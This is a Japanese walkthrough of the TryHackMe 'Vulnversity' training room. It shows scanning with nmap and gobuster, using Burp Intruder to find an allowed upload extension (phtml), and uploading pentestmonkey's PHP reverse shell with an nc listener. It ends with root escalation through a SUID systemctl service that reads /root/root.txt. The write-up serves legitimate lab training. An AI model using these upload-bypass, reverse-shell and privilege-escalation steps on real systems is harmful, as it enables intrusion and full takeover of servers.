TryHackMeのVulnversityの攻略と解説です。
スキャニング
まずは情報収集としてスキャニングをしていきます。
nmap を使っていきます。
$ nmap -sV $TIP
いくつかのポートが空いてます。その中で注目するべきは 3333/tcp http
でしょう。httpとあるので、なにかしらのWebサイトがありそうです。サイトがあるかブラウザから確認してみます。
予想通り、Webサイトがありました。
Webサイトの調査
前のフェーズでWebサイトがあることがわかりました。どんなページがあるか調査するため、GoBuster
を使います。
$ gobuster dir -u http://$TIP:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
結果から /internal/
というページがあることがわかりました。このページを確認してみます。
アップロード機能の調査
internalページはアップロードページのようです。まずはテストとしてtxtファイルをアップロードしてみます。
そうすると、 Extension not allowed
のメッセージが表示されました。txt拡張子はアップロードが許可されていないようです。ということは、なにかしら許可されている拡張子がありそうです。
アップロード可能な拡張子を探すため、BupSuite
を使っていきましょう。
BurpSuiteを立ち上げてアップロード時のリクエストをキャプチャします。
キャプチャしたリクエストを Send Intruder
で、Intruder画面に送ります。
やりたいことは拡張子を変化させてリクエストを投げることです。そのため、拡張子を変数化させます。
Payload画面で検証する拡張子を設定します。
Start Attackボタンで検証を開始します。終わったら、responseを確認します。
そうするとphtmlのresponseがSuccessであることがわかります。
リバースシェルを使った侵入
PHTMLファイルがアップロード可能なことがわかったのでPHPリバースシェルやっていきます。
リバースシェルの解説はこちら
リバースシェルコードファイルの準備
リバースシェルのPHPコードファイルをダウンロードします。
アップロードできるように拡張子を phtml
に修正します。
$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ mv php-reverse-shell.php php-reverse-shell.phtml
ファイルの中身を環境に合わせて変更します。
$ vi php-reverse-shell.php
$ip
で設定しているIPアドレスを現在操作しているLinuxのIPアドレスへ変更していきます。
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
リバースシェルの実行
これでリバースシェルのコードファイルの編集は終わりです。それでは実際にリバースシェルを実行していきましょう。
ターミナルで新しいタブを開きます。そしてリバースシェルを待ち受けるポートを作成します。
$ nc -lvnp 1234
リバースシェルのコードファイルをアップロードします。
アップロードしたリバースシェルのコードファイルを実行します。そのため、ブラウザで別タブを開きます。そして、下記URLにアクセスします。
http://10.10.70.41:3333/internal/uploads/php-reverse-shell.phtml
そして、待ち受けポートのターミナルに戻るとリバースシェルが成功しています。
SUIDを使った権限昇格
どうやって権限昇格していくか探るため、所有者が root でSUIDが設定されているファイルを検索します。
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
GTFOBinsサイトで使えそうなファイルを探します。そうすると systemctl の攻撃コードが見つかりました。
https://gtfobins.github.io/#+suid
少しコマンド群を書き換えて、下記を実行して権限昇格をしていきます。
このコマンド群の解説は ここ を見てください
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
以上で攻略完了です。